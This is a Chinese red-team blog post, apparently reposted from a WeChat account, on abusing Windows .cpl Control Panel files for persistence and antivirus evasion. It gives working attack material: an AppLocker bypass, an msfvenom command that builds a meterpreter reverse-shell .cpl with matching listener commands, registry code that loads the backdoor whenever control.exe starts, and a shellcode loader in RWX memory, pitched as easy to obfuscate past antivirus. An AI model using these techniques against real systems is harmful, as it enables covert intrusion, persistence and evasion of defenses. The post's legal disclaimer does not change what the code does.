巧用cpl文件维权和免杀

admin 2022年5月17日11:36:06安全文章评论6 views3303字阅读11分0秒阅读模式

文章首发先知社区:https://xz.aliyun.com/t/9957

前言

最近无意间发现了cpl文件,之前对该类型的文件了解几乎为零,由于触及到我的知识盲区,于是决定探究。

cpl文件

CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item在system32目录下有一系列的cpl文件,分别对应着各种控制面板的子选项

巧用cpl文件维权和免杀

列入我们win+R输入main.cpl

巧用cpl文件维权和免杀

将会打开控制面板中的鼠标属性

巧用cpl文件维权和免杀

cpl文件本质是属于PE文件

巧用cpl文件维权和免杀

但cpl并不像exe,更像是dll,无法直接打开,只能以加载的形式运行。并且有一个导出函数CPlApplet该函数是控制面板应用程序的入口点,它被控制面板管理程序自动调用,且是个回调函数。

巧用cpl文件维权和免杀

如何打开cpl

  1. 双击或者win+r xxx.cpl

  2. control <文件名>

  3. rundll32 shell32.dll,Control_RunDLL <文件名> 注意:所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe实质调用了rundll32.exe。打开后找不到control.exe进程,只能找到rundll32.exe。

巧用cpl文件维权和免杀

4.vbs脚本

Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("C:Users11793Desktopcpl.cpl")

巧用cpl文件维权和免杀

5.js脚本

var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("C:\Users\11793\Desktop\cpl.cpl");

巧用cpl文件维权和免杀

如何自己制造一个cpl文件

最简单的方式:直接创建一个dll,无需导出函数,然后改后缀名

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        WinExec("Calc.exe", SW_SHOW);
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

随便一种方式执行

巧用cpl文件维权和免杀

这里既然可以弹出calc.exe,那么能不能执行自己的payload的呢,答案是肯定的。

cpl文件的应用

bypass Windows AppLocker

什么是Windows AppLocker: AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。

默认的Applocker规则集合,可以看到cpl并不在默认规则中:

巧用cpl文件维权和免杀

开启Applocker规则: 打开计算机管理,选择服务,将Application Identity服务开启

巧用cpl文件维权和免杀

然后在安全策略中,添加一条applocker规则,会询问是否添加默认规则

巧用cpl文件维权和免杀

默认规则为:

巧用cpl文件维权和免杀

假设设置某一路径无法执行可执行程序,再次运行时就会提示组策略安全,不允许运行

巧用cpl文件维权和免杀

绕过的方式有很多,这里只讲cpl文件 完全可以把代码写入到cpl文件中,同样达到执行目的,这里就弹一个cmd

巧用cpl文件维权和免杀

msf直接生成cpl文件

生成cpl文件msfvenom -p windows/meterpreter/reverse_tcp -b 'x00xff' lhost=192.168.111.128 lport=8877 -f dll -o cpl.cpl

巧用cpl文件维权和免杀

将文件拖到本地并运行,msf监听

  • use exploit/multi/handler
  • set payload windows/meterpreter/reverse_tcp
  • set lhost 192.168.111.128
  • set lport 8877
  • exploit

巧用cpl文件维权和免杀

这样肯定是不够的,可以把这个cpl文件当作一个后门,做到一个权限维持的效果,且比较隐蔽。将cpl文件名称改为test.cpl创建一个项目,作用为修改注册表:

HKEY hKey;
DWORD dwDisposition;
char path[] = "C:\test.cpl";
RegCreateKeyExA(HKEY_CURRENT_USER,"Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "test.cpl", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));

不一定将cpl文件放到c盘更目录,可以自定义路径 执行后

巧用cpl文件维权和免杀

然后这里在开启control.exe时,test.cpl文件也会被打开。

巧用cpl文件维权和免杀

如果目标主机有杀软,可以通过该方法白加黑绕过,但是msf的cpl文件特征非常明显,静态太概率都会被杀掉。

巧用cpl文件维权和免杀

除了加壳之外,寄希望于自己实现加载shellcode,方便做混淆。

使用shellcode自己做一个cpl文件

直接上代码

#include "pch.h"
#include "windows.h"

extern "C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
MessageBoxA(0, NULL, "test", MB_OK);
/* length: 835 bytes */
unsigned char buf[] = "shellcode";
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)

{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

这是最最最最基础的loader 先打开control.exe看看效果

巧用cpl文件维权和免杀

看看查杀率

巧用cpl文件维权和免杀

这里上传的文本,shellcode没有做任何的处理,查杀率已经算比较低的,如果混淆一下,很轻松的就可以静态过杀软,再用白加黑,是不是想想就很轻松呢。

经过一系列处理后,找杀毒能力还比较强的360试一下

巧用cpl文件维权和免杀

参考

https://wooyun.js.org/drops/CPL%E6%96%87%E4%BB%B6%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D.html

https://attack.mitre.org/techniques/T1218/002/

https://docs.microsoft.com/zh-cn/windows/security/threat-protection/windows-defender-application-control/applocker/working-with-applocker-rules

加下方wx,拉你进群学习

巧用cpl文件维权和免杀

往期推荐

调用NtCreateUserProcess创建进程绕过杀软hook

VEH&SEH异常详解

sql注入bypass最新版某狗

软件调试详解

初探windows异常处理

浅谈hook攻防

无处不在的dll劫持

CVE-2021–26855与CVE-2021–27065分析及复现

巧用cpl文件维权和免杀

原文始发于微信公众号(红队蓝军):巧用cpl文件维权和免杀

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日11:36:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  巧用cpl文件维权和免杀 http://cn-sec.com/archives/1013953.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: